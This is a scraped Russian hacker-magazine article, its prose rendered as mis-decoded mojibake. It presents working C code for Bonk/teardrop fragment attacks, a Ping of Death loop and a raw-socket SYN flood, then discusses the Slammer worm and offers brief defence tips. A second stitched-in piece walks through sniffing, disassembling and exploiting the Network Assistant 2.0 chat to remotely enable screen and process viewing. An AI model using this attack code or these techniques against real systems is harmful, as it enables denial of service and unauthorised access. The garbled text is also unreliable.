www.xakep.ru/magazine/xa/063/116/1.asp. 

TEARDROP È BONK: 
ÓÍÈ×ÒÎÆÅÍÈÅ ÏÎ ÊÓÑÎ×ÊÀÌ

Êëàññèêà æàíðà óäàëåííûõ àòàê,
áàçèðóþùèõñÿ íà ðàçëè÷íûõ óÿçâè-
ìîñòÿõ â ïðîãðàììíîì îáåñïå÷åíèè.
Ýòè àòàêè îñíîâàíû íà òîì, ÷òî íåêî-
òîðûå îïåðàöèîííûå ñèñòåìû íåïðà-
âèëüíî ñîáèðàþò ôðàãìåíòèðîâàí-
íûå IP-ïàêåòû. Â èòîãå, îïåðàöèîí-
íàÿ ñèñòåìà çàòèðàåò ÷àñòü ïàìÿòè
ñî âñåìè âûòåêàþùèìè îòñþäà ïîñ-
ëåäñòâèÿìè. 

Äàâàé íàïèøåì ïðîãðàììó, ðåàëè-
çóþùóþ Bonk-àòàêó. Äëÿ íà÷àëà îï-
ðåäåëèì êîíñòàíòû è ïåðåìåííûå:

#define FRG_CONST 0x3
#define PADDING 0x1c
struct udp_pkt
{
struct iphdr ip;
struct udphdr udp;
char data[PADDING];
} pkt;

Ñòðóêòóðà udp_pkt ïðåäñòàâëÿåò ñî-
áîé çàãîëîâêè IP è UDP. Êîíñòàíòû ìû
áóäåì èñïîëüçîâàòü ïðè ôîðìèðîâà-
íèè IP-ïàêåòîâ (ñì. íèæå). Òåïåðü
ìîæíî íàïèñàòü ïîäïðîãðàììó äëÿ
îñóùåñòâëåíèÿ àòàêè. Ýòîé ôóíêöèè
òðåáóåòñÿ ïåðåäàòü ñîêåò, àäðåñ/ïîðò
îòïðàâèòåëÿ è ïîëó÷àòåëÿ.

void fondle(int sck, u_long src_addr,
u_long dst_addr, int src_prt, int dst_prt)

{
int bs;
struct sockaddr_in to;
// îáíóëÿåì çàãîëîâîê ïàêåòà
memset(&pkt, 0, psize);
// çàïîëíÿåì IP-çàãîëîâîê
pkt.ip.version = 4;
pkt.ip.ihl = 5;
pkt.ip.tot_len = htons(udplen + iplen +

PADDING);
pkt.ip.id = htons(0x455);
pkt.ip.ttl = 255;
pkt.ip.protocol = IP_UDP;
pkt.ip.saddr = src_addr;
pkt.ip.daddr = dst_addr;
// ôðàãìåíòèðîâàííûé ïàêåò
pkt.ip.frag_off = htons(0x2000); 
// çàïîëíÿåì UDP-çàãîëîâîê
pkt.udp.source = htons(src_prt);
pkt.udp.dest = htons(dst_prt);
pkt.udp.len = htons(8 + PADDING);
// ïîñûëàåì ïåðâûé ôðàãìåíò 
to.sin_family = AF_INET;
to.sin_port = src_prt;
to.sin_addr.s_addr = dst_addr;
bs = sendto(sck, &pkt, psize, 0, (struct

sockaddr *) &to, sizeof(struct sockaddr));
// ïîñûëàåì âòîðîé ôðàãìåíò 
pkt.ip.frag_off = htons(FRG_CONST + 1);
pkt.ip.tot_len = htons(iplen + FRG_CONST);
bs = sendto(sck, &pkt, iplen + FRG_CONST +

1, 0, (struct sockaddr *) &to, sizeof(struct
sockaddr));

}

Åñëè ïîñëàòü äâà ôðàãìåíòà, êîòî-
ðûå ïðè ñáîðêå íàëîæàòñÿ äðóã íà
äðóãà, îïåðàöèîííàÿ ñèñòåìà ïåðåçà-
ïèøåò ÷àñòü ïàìÿòè. Íó, à ÷òîáû áûòü
óâåðåííûìè â ðåçóëüòàòå, ñäåëàåì
êîíòðîëüíûé âûñòðåë, âåðíåå, òûñÿ÷ó
êîíòðîëüíûõ âûñòðåëîâ: çàïóñòèì ýòó
ôóíêöèþ â öèêëå.

for (i = 0; i < 1000; ++i)
{
fondle(spf_sck, src_addr, dst_addr, src_prt,

dst_prt);
usleep(10000);
}

PING OF DEATH
Ýòîé àòàêå ÿ äàæå íå ñòàë ïðèäó-

ìûâàòü ñâîå íàçâàíèå: "Ping of Death"
çâó÷èò óæå êðóòî, äà è ðåàëèçóåòñÿ
íåñëîæíî. Ïðàâäà, ýòà àòàêà ñòàðîâà-
òà. ×òîáû ðåàëèçîâàòü Ping of Death,
íàäî ïîñëàòü ñèëüíî ôðàãìåíòèðî-
âàííûé ICMP ïàêåò ðàçìåðîì áîëåå
64 êèëîáàéò. Ïèøåì:

#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
// . . .
// ãîòîâèì ICMP-ïàêåò
icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO <<

8));
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×òîáû îï-
ðåäåëèòü,
÷òî íà òåáå
èñïûòûâà-
þò àòàêó
Smurf, íå-
îáõîäèìî
àíàëèçèðî-
âàòü ñåòå-
âîé òðàôèê.

Äëÿ çàùè-
òû îò àòàêè
SMBdie äîñ-
òàòî÷íî
ñêà÷àòü
ïàò÷ ñ ñàé-
òà
Microsoft.

Smrf-àòàêà â âèäå ïðîñòåíüêîé ñõåìû



for (offset = 0; offset < 65536; offset +=
(sizeof buf - sizeof *ip)) 

{
// ñ÷èòàåì ñìåùåíèå
ip->ip_off = FIX(offset >> 3);
if (offset < 65120)
ip->ip_off |= FIX(IP_MF);
else
ip->ip_len = FIX(418); 
// îòïðàâëÿåì ïàêåò
sendto(s, buf, sizeof buf, 0, (struct sockad-

dr *)&dst, sizeof dst);
// êîððåêòèðóåì ñìåùåíèå
if (offset == 0) 
{
icmp->icmp_type = 0;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
}
}

SYN FLOODING: ÑÌÅÐÒÅËÜÍÎÅ
ÐÓÊÎÏÎÆÀÒÈÅ

Íà äåñåðò îñòàëîñü ñàìîå âêóñíîå
áëþäî - SYN flooding. Â îòëè÷èå îò âû-
øåîïèñàííûõ àòàê, SYN flooding äî-
âîëüíî óíèâåðñàëüíà. Ñ ïîìîùüþ
íåå ìîæíî çàáèòü êàíàë ëþáîãî ñåð-
âåðà, íåçàâèñèìî îò åãî îïåðàöèîíêè,
åñëè, êîíå÷íî, îí íå íàñòðîåí î÷åíü
õèòðûì îáðàçîì :). Ïîñìîòðèì, êàê ðà-
áîòàåò ñâÿçêà TCP/IP â ñëó÷àå âõîäÿ-
ùåãî ñîåäèíåíèÿ è êàê ýòî ìîæíî èñ-
ïîëüçîâàòü äëÿ îðãàíèçàöèè DoS-àòà-
êè. Ñíà÷àëà êëèåíòñêàÿ ìàøèíà ïîñû-
ëàåò ñåðâåðó SYN-ïàêåò äëÿ óñòàíîâ-
êè ñâÿçè. Ïîëó÷èâ çàïðîñ íà ñîåäèíå-
íèå, ñåðâåð ïîñûëàåò êëèåíòó
SYN/ACK-ïàêåò â êà÷åñòâå îòâåòà. Òà-
êîé ïàêåò äàåò êëèåíòó ïîíÿòü, ÷òî
ñåðâåð îæèäàåò ñâÿçè. Çàòåì êëèåíò
ïîñûëàåò ACK-ïàêåò äëÿ ïîäòâåðæäå-
íèÿ. Ýòî íà êîìïüþòåðíîì ñëåíãå íà-
çûâàåòñÿ ðóêîïîæàòèåì. Òóò åñòü ìà-
ëåíüêàÿ õèòðîñòü: êàê òîëüêî ñåðâåðó
ïðèäåò ñëèøêîì ìíîãî òàêèõ çàïðî-
ñîâ íà ñîåäèíåíèå, îí áóäåò èãíîðè-
ðîâàòü îñòàëüíûå çàïðîñû. Öåëü ÿñ-
íà: íàäî çàáèòü î÷åðåäü âõîäíûõ ñîå-
äèíåíèé ñåðâåðà, òîãäà îí ïåðåñòàíåò
ðåàãèðîâàòü íà äðóãèå çàïðîñû.

Íàïèøåì ðåàëèçàöèþ ýòîé àòàêè,
íà÷àâ ñ òèïîâ äàííûõ è ïåðåìåííûõ:

// TPC/IP çàãîëîâîê
struct send_tcp
{
struct iphdr ip;
struct tcphdr tcp;
} send_tcp;

// çàãîëîâîê
struct pseudo_header
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
} pseudo_header;
int i;
int tcp_socket;
struct sockaddr_in sin;
int sinlen;

Ïåðåìåííûå send_tcp è
pseudo_header ïîíàäîáÿòñÿ ïðè ïîä-
ãîòîâêå TCP/IP-ïàêåòà. tcp_socket ìû
áóäåì èñïîëüçîâàòü äëÿ îòïðàâêè
çàïðîñîâ.

Îñíîâíàÿ ÷àñòü ïðîãðàììû áóäåò
âûãëÿäåòü òàê (íåñóùåñòâåííûå ìåñòà
êîäà ÿ îïóñòèë):

SYN-FFlooding �� ààòàêà ííà ââñå ââðåìåíà èè
ÎÑè!

// ôîðìèðóåì IP-ïàêåò
send_tcp.ip.ihl = 5;
send_tcp.ip.version = 4;
send_tcp.ip.tos = 0;
send_tcp.ip.tot_len = htons(40);
send_tcp.ip.id = getpid();
send_tcp.ip.frag_off = 0;
send_tcp.ip.ttl = 255;
send_tcp.ip.protocol = IPPROTO_TCP;
send_tcp.ip.check = 0;
send_tcp.ip.saddr = source_addr;
send_tcp.ip.daddr = dest_addr;
// ôîðìèðóåì TCP-ïàêåò
send_tcp.tcp.source = getpid();
send_tcp.tcp.dest = htons(dest_port);
send_tcp.tcp.seq = getpid(); 
send_tcp.tcp.ack_seq = 0;
send_tcp.tcp.res1 = 0;
send_tcp.tcp.doff = 5;
send_tcp.tcp.fin = 0;
send_tcp.tcp.syn = 1;
send_tcp.tcp.rst = 0;
send_tcp.tcp.psh = 0;
send_tcp.tcp.ack = 0;
send_tcp.tcp.urg = 0;
send_tcp.tcp.res2 = 0;
send_tcp.tcp.window = htons(512);
send_tcp.tcp.check = 0;
send_tcp.tcp.urg_ptr = 0;
// óñòàíîâêè sin
sin.sin_family = AF_INET;
sin.sin_port = send_tcp.tcp.source;
sin.sin_addr.s_addr = send_tcp.ip.daddr; 
// îòêðûâàåì ñîêåò
tcp_socket = socket(AF_INET, SOCK_RAW,

IPPROTO_RAW);
for(i = 0; i < numsyns; i++)
{
// óñòàíàâëèâàåì èçìåíÿåìûå ïîëÿ
send_tcp.tcp.source++;
send_tcp.ip.id++;
send_tcp.tcp.seq++;
send_tcp.tcp.check = 0;
send_tcp.ip.check = 0;
// ñ÷èòàåì êîíòðîëüíóþ ñóììó ip
send_tcp.ip.check = in_cksum((unsigned

short *)&send_tcp.ip, 20);
// óñòàíàâëèâàåì ïîëÿ çàãîëîâêà
pseudo_header.source_address =

send_tcp.ip.saddr;
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Ìíîæåñòâî ÷åðâèâûõ êîìïüþòåðîâ ïûòàþòñÿ îáëàïàòü ñòîéêèé ñåðâåð :)

×åðíûé ïèíã ñìåðòè, âîññòàâøèé èç ìåðòâûõ



pseudo_header.dest_address =
send_tcp.ip.daddr;

pseudo_header.placeholder = 0;
pseudo_header.protocol = IPPROTO_TCP;
pseudo_header.tcp_length = htons(20);
bcopy((char *)&send_tcp.tcp, (char

*)&pseudo_header.tcp, 20);
send_tcp.tcp.check = in_cksum((unsigned

short *)&pseudo_header, 32);
sinlen = sizeof(sin);
// ïîñûëàåì ïàêåò
sendto(tcp_socket, &send_tcp, 40, 0,

(struct sockaddr *)&sin, sinlen);
}
close(tcp_socket);

HELKERN: ÏÀÍÄÅÌÈß
Â çàêëþ÷åíèå õî÷åòñÿ ðàññêàçàòü

î ÷åðâå, êîòîðûé ïðè ñâîåì ðàñïðîñò-
ðàíåíèè èñïîëüçóåò áðåøè â ïðîãðàì-
ìíîì îáåñïå÷åíèè, ÷òî ñëóæèò ÿðêèì
ïðèìåðîì èñïîëüçîâàíèÿ äàííîãî âè-
äà óÿçâèìîñòåé. Èíòåðíåò-÷åðâü
Helkern (îí æå Slammer, îí æå
Sapphire) çà ïÿòü äíåé ñâîåé àêòèâ-
íîñòè ñóìåë íàíåñòè óùåðá îêîëî
ìèëëèàðäà ïðàâèëüíûõ ðóáëåé. Ýòî
íå ðåêîðä, çàòî ïî êîëè÷åñòâó çàðà-
æåííûõ êîìïüþòåðîâ (îêîëî 80000
ñåðâåðîâ) è ãåîãðàôèè ñâîåãî ðàñïðî-
ñòðàíåíèÿ îí îäèí èç ëèäåðîâ. Òàêóþ
ýïèäåìèþ, êîòîðàÿ ïðîøëàñü ïî âñå-
ìó ìèðó, íàçûâàþò ïàíäåìèåé. 

Äëÿ ñâîåãî ðàñïðîñòðàíåíèÿ ýòîò
÷åðâü èñïîëüçóåò óÿçâèìîñòü â
Microsoft SQL Server 2000, êîòîðàÿ
ïîçâîëÿåò åìó êîïèðîâàòü è çàïóñ-
êàòü ñâîé êîä íà äðóãèõ ìàøèíàõ, ñ
óñòàíîâëåííûì MS SQL Server. Êî-
íå÷íî, ñûãðàë ñâîþ ðîëü è ìàëåíü-
êèé ðàçìåð (âñåãî 376 áàéò!), è àëãî-
ðèòì ðàñïðîñòðàíåíèÿ. Äåëî â òîì,
÷òî ýòîò ÷åðâü, ïîïàâ íà êîìïüþòåð,
íå ñîçäàåò íèêàêèõ ôàéëîâ, à ïðîñ-
òî ÷åðåç îïðåäåëåííûå ïðîìåæóòêè
âðåìåíè ïîñûëàåò ñâîé êîä íà ñëó-
÷àéíûå àäðåñà.

ÊÀÊ ÍÅ ÑÒÀÒÜ ÆÅÐÒÂÎÉ?
Ïîçâîëèì ñåáå ïàðî÷êó-äðóãóþ

áàíàëüíûõ ñîâåòîâ, êîòîðûå ïîìîãóò
çàùèòèòüñÿ îò ðàçëè÷íîãî ðîäà àòàê.
Âûòàùè èç êîìïüþòåðà ìîäåì è ñåòå-
âóõó, åñëè æå êàêîå-íèáóäü èç ýòèõ
óñòðîéñòâ ÿâëÿåòñÿ âñòðîåííûì, âîñ-
ïîëüçóéñÿ ïàÿëüíèêîì èëè ïëîñêî-
ãóáöàìè. Íî ëó÷øå ïîñòàâü ñåáå fire-
wall (íûí÷å ïî÷òè êàæäûé èç íèõ óìå-
åò áëîêèðîâàòü âñå ýòè àòàêè àâòîìà-
òè÷åñêè) è àíòèâèðóñ, íå çàáûâàé èõ
îáíîâëÿòü âðåìÿ îò âðåìåíè. Åñëè òû
ïîñòàâèë ñåáå íèêñû íå äëÿ òîãî, ÷òî-
áû îíè òàì áûëè :), à äëÿ äåëà, òî
íàñòðîé ñâîþ îñü. È, êîíå÷íî, áóäü â
êóðñå ïîñëåäíèõ íîâîñòåé. E

W W W

www.insecure.org - íà ýòîì ñàéòå åñòü îïèñàíèÿ è èñõîäíèêè
äîâîëüíî áîëüøåãî êîëè÷åñòâà óÿçâèìîñòåé. Âñå ýêïñëîèòû
îòñîðòèðîâàíû ïî îñÿì, ÷òî î÷åíü îáëåã÷àåò ïîèñê. ßâëÿåòñÿ
âðîäå êàê îôèöèàëüíûì ñàéòîì ïðîãðàììû nmap.

www.securityfocus.com - äîâîëüíî èíôîðìàòèâíûé ñàéò äëÿ
ñïåöèàëèñòîâ ïî áåçîïàñíîñòè, ïðàâäà, íà ôèíãëèøå. Íîâîñòè,
ñòàòüè, òóëçû�

packetstorm.linuxsecurity.com - íà ýòîì ñàéòå ìîæíî íàéòè
ìíîãî ïîëåçíîãî êàê äëÿ çàùèòû, òàê è äëÿ òåñòèðîâàíèÿ
áåçîïàñíîñòè êîìïüþòåðà. 

bugtraq.ru - ìàòåðûé ðóññêîÿçû÷íûé ðåñóðñ äëÿ ñèñàäìèíîâ è
ñïåöèàëèñòîâ ïî áåçîïàñíîñòè. Íà ñàéòå íåïëîõàÿ áèáëèîòåêà.

Ñõåìà Land-çàïðîñà



sba (sba@list.ru, ICQ 274-602-370), v0ldemar (v0ldemar@mail.ru, ICQ 226-428-062)

Î á ýêñïëîèòàõ íàïèñàíî îãðîìíîå êîëè÷åñòâî òåîðåòè÷åñêèõ ñòàòåé. Ìû æå ïîêàæåì íà êîíêðåòíîì ïðèìåðå, êàê
íàéòè è èñïîëüçîâàòü óÿçâèìîñòü â ïîïóëÿðíîì ñåòåâîì ÷àòå Network Assistant 2.0.

ÝÊÑÏËÎÈÒ ÄËß
ÑÅÒÅÂÎÃÎ ×ÀÒÀ
ÏÎÈÑÊ È ÈÑÏÎËÜÇÎÂÀÍÈÅ ÓßÇÂÈÌÎÑÒÈ Â NETWORK ASSISTANT

ëÿ ÷åãî ýòî íàì íåîá-
õîäèìî? Âî-ïåðâûõ,
íóæíî ïî âîçìîæíîñ-
òè áîëüøå çíàòü î
ïðîãðàììàõ, êîòîðûìè

ïîëüçóåøüñÿ êàæäûé äåíü, îñîáåííî
åñëè îíè èìåþò õîòü êàêîå-òî îòíî-
øåíèå ê ñåòè. Âî-âòîðûõ, ýêñïëîèò �
ýòî ñïåöèôè÷íûé íàáîð áàéò, êîòî-
ðûé â íóæíîì ìåñòå ïðåâðàùàåòñÿ
èç îáû÷íûõ è áåçîáèäíûõ äàííûõ â
êîä, ñïîñîáíûé çàâëàäåòü óäàëåí-
íûì êîìïüþòåðîì è âûïîëíèòü ïðàê-
òè÷åñêè ëþáûå äåéñòâèÿ. 

ÈÑÑËÅÄÎÂÀÍÈÅ ÏÐÎÒÎÊÎËÀ
NETWORK ASSISTANT Ñ
ÏÎÌÎÙÜÞ ÑÍÈÔÅÐÀ

Ïåðåä íàìè îáû÷íûé ÷àò äëÿ ëî-
êàëüíîé ñåòè Network Assistant 2.0, è
íàì âî ÷òî áû òî íè ñòàëî íóæíî íàé-
òè â íåì äûðó, æåëàòåëüíî áåç îñî-
áîãî íàïðÿãà :). Íà÷íåì ñ èçó÷åíèÿ
ïðîòîêîëà æåðòâû. Ýòî çíà÷èòåëüíî
óïðîñòèò íàì æèçíü è äàñò îáùåå ïî-
íÿòèå î òîì, êàê îñóùåñòâëÿåòñÿ îá-
ìåí äàííûìè ìåæäó óäàëåííûìè õîñ-
òàìè. Ïîðûâøèñü â íàñòðîéêàõ ïðîã-
ðàììû, ìû îáíàðóæèâàåì çàêëàäêó
�Ñâÿçü�, êîòîðàÿ ñíàáæàåò íàñ ñëå-
äóþùåé èíôîðìàöèåé: îáìåí äàííû-
ìè îñóùåñòâëÿåòñÿ ïî ïðîòîêîëó
UDP è TCP ÷åðåç 50138-é è 50139-é

ïîðòû ñîîòâåòñòâåííî, ñ èñïîëüçîâà-
íèåì øèðîêîâåùàòåëüíûõ àäðåñîâ.

Íà÷èíàåì çàõâàò. Ïðîõîäèò ìèíó-
òà çà ìèíóòîé, à íè îäíîãî ïàêåòà
ìû òàê è íå ïåðåõâàòèëè. Â ÷åì äå-
ëî? Íåóæåëè ãëþ÷èò ëþáèìûé ñíè-
ôåð? Èëè â ÷àòå íèêòî íå ïèøåò?
Äëÿ íàäåæíîñòè íàáèâàåì ñòðî÷êó
�Hello, people!!!�. Íî 50138-é è
50139-é ïîðòû ïî-ïðåæíåìó ìîë÷àò.
Ñòîï. Ïàìÿòü óñëóæëèâî ïîäñêàçû-
âàåò, ÷òî ôàåðâîë îáíàðóæèâàë àê-
òèâíîñòü Network Assistant íà ñî-
âåðøåííî äðóãèõ ïîðòàõ, à èìåííî
íà 56003-ì è 56259-ì.

Ïóòåì íåñëîæíûõ ìàíèïóëÿöèé ïðè-
õîäèì ê âûâîäó, ÷òî àâòîð ïðîãðàììû
çàáûë ïîìåíÿòü ïîðÿäîê áàéò (ïîëÿ
çàãîëîâêîâ ñåìåéñòâà ïðîòîêîëîâ IP
äîëæíû áûòü â ôîðìàòå big-endian),

typedef struct _UDPHeader {
WORD SrcPort;
WORD DstPort;
WORD Length;
WORD Checksum;
} UDPHeader;

Íàòðàâëèâàåì ïðàâèëî-ôèëüòð íà
56003-é ïîðò. È � î, ÷óäî! � ñíèôåð
íà÷èíàåò ëîâèòü ïàêåòû. Ïàêåòîâ
ìíîãî, î÷åíü ìíîãî. Ðàçáåðåìñÿ!
Ïðîáóåì ïîèñêàòü ñðåäè ïåðåõâà÷åí-

íûõ ïàêåòîâ òåêñò èç êàíàëà �Main�
÷àòà. Îí íàõîäèòñÿ áåç ïðîáëåì.

Áåãëûé àíàëèç ïîäòâåðæäàåò íàøå
ñêðîìíîå ïðåäïîëîæåíèå î òîì, ÷òî
Network Assistant ïåðåäàåò â ñåòü
ñâîè äàííûå áåç èñïîëüçîâàíèÿ êà-
êîãî-ëèáî øèôðîâàíèÿ. Íàì ýòî
òîëüêî íà ðóêó. Äëÿ òîãî ÷òîáû ðà-
çîáðàòüñÿ â äåáðÿõ ôîðìàòà ïàêåòà
ñàìîãî Network Assistant, èñïîëüçó-
åì ëþáèìûé øåñòíàäöàòåðè÷íûé ðå-
äàêòîð. Äëÿ íà÷àëà ïåðåõâàòèì íåñ-
êîëüêî îäíîòèïíûõ ïàêåòîâ. Íàïðè-
ìåð, îáû÷íûé òåêñò èç êàíàëà �Main�.
Áóäåì ïîñûëàòü ïî íåñêîëüêî ðàç
îäíè è òå æå ñîîáùåíèÿ, ïîòîì ñå-
ðèþ ñîîáùåíèé ðàçíîé äëèíû. Íå
çàáûâàåì ïåðåõâàòûâàòü ñîîáùåíèÿ
è äðóãèõ ó÷àñòíèêîâ ÷àòà. Â èäåàëå
æåëàòåëüíî íàéòè ñåáå ïîìîùíèêà â
ñåòè, êîòîðûé áû îòñûëàë íóæíûå
ñîîáùåíèÿ, íî åñëè âñå õî÷åòñÿ ñäå-
ëàòü ñàìîìó, òî ìîæíî îáîéòèñü ýìó-
ëÿòîðîì ÏÊ, íàïðèìåð VMware
Workstation. Êîãäà ñîáåðåòñÿ äîñòà-
òî÷íîå êîëè÷åñòâî ïàêåòîâ, ïðèñòó-
ïàåì ê èõ ñðàâíåíèþ. Àíàëèçèðóåì
ñîõðàíåííûå ïàêåòû íà÷èíàÿ ñî ñìå-
ùåíèÿ 0x2A (áàéòû îò 0 äî 0x29 âõî-
äÿò â Ethernet-, IP- è UDP-çàãîëîâêè
ïàêåòà, à ñî ñìåùåíèÿ 0x2A íà÷èíà-
åòñÿ òåëî UDP-ïàêåòà, òî åñòü ïàêåò
Network Assistant). Ñíà÷àëà èùåì
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îäèíàêîâûå áàéòû, à ïîòîì ðàçíûå.
Ñðàçó áðîñàåòñÿ â ãëàçà, ÷òî áàéò ñî
ñìåùåíèåì 0 âñåãäà ðàâåí 0, ýòî
âåðñèÿ ïðîòîêîëà. Äëÿ ñëåäóþùèõ
âåðñèé ÷àòà âïëîòü äî 3.2 âåðñèÿ
ïðîòîêîëà ðàâíà åäèíèöå. Äàëåå
èäåò 2-áàéòîâîå ïîëå, êîòîðîå îòëè-
÷àåòñÿ â ðàçíûõ ïàêåòàõ, íî èäåíòè÷-
íî â îäèíàêîâûõ, î÷åâèäíî, ÷òî è îç-
íà÷àåò îíî äëèíó ïàêåòà â áàéòàõ :).
Çàòåì èäåò íåïîíÿòíîå 4-áàéòîâîå
ïîëå, êîòîðîå ìåíÿåòñÿ îò ïàêåòà ê
ïàêåòó, ÷òî íàâåâàåò ïîäîçðåíèå î
ñ÷åò÷èêå (íàïðèìåð, äëÿ áîðüáû ñ
ôëóäîì). Ñëåäóþùèé áàéò âñåãäà ðà-
âåí 0õ0F äëÿ ïàêåòîâ ñ òåêñòîì, ýòî
òèï ïàêåòà. Èçó÷àåì äðóãèå ïàêåòû è
âûäåëÿåì ñëåäóþùèå òèïû: 0õ00 �
âõîä â êàíàë �Main�, 0õ01 - âûõîä èç
êàíàëà �Main�, 0õ02 � âñïëûâàþùåå
ñîîáùåíèå, 0õ1E � èçìåíåíèå ñîñòîÿ-
íèÿ ïîëüçîâàòåëÿ, 0õ1F � èçìåíåíèå
öâåòà ïîëüçîâàòåëÿ è ò.ä. Äàëüøå
ðàçìåùàþòñÿ äâà Pascal-ñòðèíãà ñ
íàçâàíèåì õîñòà-îòïðàâèòåëÿ è íèêà
þçåðà. Çà íèìè èäåò òåêóùàÿ äàòà â
ôîðìàòå double (8 áàéò). Ñëåäóþùèå
4 áàéòà � öâåò ïîëüçîâàòåëÿ â ÷àòå.
Íà ýòîì çàêàí÷èâàåòñÿ çàãîëîâîê ïà-
êåòà Network Assistant. Îñòàëüíûå
áàéòû â êàæäîì èç ïàêåòîâ ñïåöè-
ôè÷íû äëÿ êàæäîãî òèïà. Íàïðèìåð,
óæå èçâåñòíûé íàì ïàêåò ID=0õ0F
(ïåðåñûëêà òåêñòà) ïîìèìî çàãîëîâ-
êà ñîäåðæèò Pascal-ñòðèíã ñ íàçâàíè-
åì êàíàëà, â êîòîðûé ïîñûëàåòñÿ
òåêñò, à òàêæå ñàì ïîñûëàåìûé òåêñò,
çàêàí÷èâàþùèéñÿ ñèìâîëîì �\0�.

ÄÈÇÀÑÑÅÌÁËÈÐÓÅÌ ÍÀÑÑÈ
Êàê èçâåñòíî, äèçàññåìáëèðîâà-

íèå � ýòî ïðåâðàùåíèå ìàøèííîãî êî-
äà â êîä Àññåìáëåðà. Ìû äåëàåì äè-
çàññåìáëèðîâàíèå äëÿ òîãî, ÷òîáû ïî-
ëó÷èòü âîçìîæíîñòü ñâîáîäíî àíàëè-
çèðîâàòü êîä Íàññè. Ñàìûé ëó÷øèé
ïðîãðàììíûé äèçàññåìáëåð - ýòî
Interactive Disassembler (IDA)
(www.datarescue.com). Ïîëó÷èâ àññåìá-
ëåðíûé ëèñòèíã ïðîãðàììû, ìîæíî â
ñïîêîéíîé îáñòàíîâêå èññëåäîâàòü
ïðîöåäóðó, â êîòîðîé íàõîäèòñÿ ïåðå-
ïîëíÿåìûé áóôåð. À âîò ñàìó ïðîöåäó-
ðó áóäåì èñêàòü ñ ïîìîùüþ äåáàãåðà.

ÄÅÁÀÃÀÅÌ ÍÀÑÑÈ
Â íàøåì äåëå áåç äåáàãåðà îáîé-

òèñü ñîâåðøåííî íåâîçìîæíî. Åãî
ïåðâîíà÷àëüíîå ïðåäíàçíà÷åíèå áû-
ëî â èñïðàâëåíèè ïðîãðàììíûõ áàãîâ.
Â íàøåì æå ñëó÷àå ìû áóäåì èñïîëü-
çîâàòü äåáàãåð äëÿ ïðîâåðêè ïðîòî-
êîëà Íàññè, áîëåå òîãî, îí íàì îêàæåò
ïðîñòî áåñöåííóþ ïîìîùü â íàïèñà-
íèè ñàìîãî ýêñïëîèòà. Çäåñü åñòü äâà
âàðèàíòà � Soft-Ice: (www.compuware.com/
products/driverstudio/softice.htm) è Olly
Debugger (home.t-online.de/home/Ollydbg).
Ïåðâûé ìîæåò ðàáîòàòü êàê èç-ïîä
ring0, òàê è èç-ïîä ring3, âòîðîé æå -
òîëüêî ïîä ring3. Îäíàêî ïðåèìóùåñò-
âî Olly Debugger çàêëþ÷àåòñÿ â òîì,
÷òî îí âûñòóïàåò êàê îòäåëüíàÿ ïðîã-
ðàììà ñ çàìå÷àòåëüíûì GUI-èíòåð-
ôåéñîì, è ìû ìîæåì ñâîáîäíî äåëàòü
ñâîþ ðàáîòó ïîìèìî òîãî, ÷òî åùå
çàãðóæåí îòëàä÷èê, à Soft-Ice ýòîãî
íàñ ëèøàåò. 

Èòàê, ó èññëåäîâàòåëåé ïîÿâèëàñü
âîçìîæíîñòü èçìåíÿòü ïàìÿòü Íàññè.
×òî íàì ýòî äàåò? Â ïðèíöèïå, âñå ÷òî
óãîäíî. Òå, êòî èñïîëüçóåò Network
Assistant, çíàþò, ÷òî â íàñòðîéêàõ
åñòü òàêèå ôóíêöèè, êàê óäàëåííûé
ïðîñìîòð ïðîöåññîâ, ïðîñìîòð ýêðàíà,
è ìíîãèå-ìíîãèå äðóãèå. Êàê ïðàâèëî,
ïîëüçîâàòåëè çàïðåùàþò ýòè âîç-
ìîæíîñòè, è ìû íå ìîæåì óäàëåííî
ïîñìîòðåòü íà ýêðàí ñîáåñåäíèêà. Êàê
îòêðûòü äîñòóï êàê ê ïðîñìîòðó ïðî-
öåññîâ, òàê è ê äðóãèì ôè÷àì? Íàäî

êàê-òî óáðàòü â îïöèÿõ ýòîò ôëàæîê.
À êàê æå ìû ýòî ñäåëàåì, äà åùå è
óäàëåííî? Íàéäåì òîò ñàìûé ôëàæîê,
òîëüêî â ïàìÿòè. Âîîáùå ïðîâåðêó
ñòàíäàðòíîãî CheckBox äåëàþò ñ ïî-
ìîùüþ ñïåöèàëüíîé API-ôóíêöèè
IsDlgButtonChecked. Íî Network
Assistant íàïèñàí íà Borland Delphi 7,
à Delphi èñïîëüçóåò ñâîè ñïåöèàëü-
íûå ôóíêöèè äëÿ ïðîâåðêè ñîñòîÿíèÿ
êíîïîê. Â äàííîì ñëó÷àå ýòî áóäåò
÷òî-òî íàïîäîáèå CheckBox1.Checked,
êîòîðàÿ âîçâðàùàåò çíà÷åíèå 1 èëè 0,
òî åñòü âûáðàíî èëè íåò. Äèçàññåìá-
ëåð íå ïîêàçûâàåò íàì ýòèõ ñïåöèàëü-
íûõ ôóíêöèé, â íåì ýòà ôóíêöèÿ âûã-
ëÿäèò ïðèìåðíî òàê: call xxxxxxxx, ãäå
xxxxxxxx � åå àäðåñ. ×òî æå äåëàòü?
Õèòðûå ïðîãðàììåðû, êîòîðûå çàäà-
ëèñü ýòèì âîïðîñîì çàäîëãî äî íàñ,
èçîáðåëè ñïåöèàëüíóþ óòèëèòó, êîòî-
ðàÿ íàçûâàåòñÿ Decompiler Delphi, èëè
DeDe (www.dafixer.cjb.net). DeDe ïîêàçû-
âàåò íå «call xxxxxxxx», à íàçâàíèå
ôóíêöèè Delphi. Êîíå÷íî, òàêîé ïðîã-
ðàììû, êàê ïîëíîöåííûé äåêîìïèëÿ-
òîð Delphi-êîäà, íå ñóùåñòâóåò. DeDe
òàê íàçâàëè ïîòîìó, ÷òî îíà ïðîâîäèò
àíàëèç è âûäàåò àññåìáëåðíûé êîä ñ
êîììåíòàðèÿìè íà ôóíêöèè, òî åñòü
ñòàâèò êîììåíòàðèè, åñëè ýòà ôóíêöèÿ
ïðèíàäëåæèò Delphi. Äàâàé ñäåëàåì
ïðîñòåíüêóþ ïðîãðàììêó ñ CheckBox è
êíîïêîé. Êíîïêà íóæíà òîëüêî äëÿ
ïðîâåðêè, ðàáîòàåò ëè CheckBox.

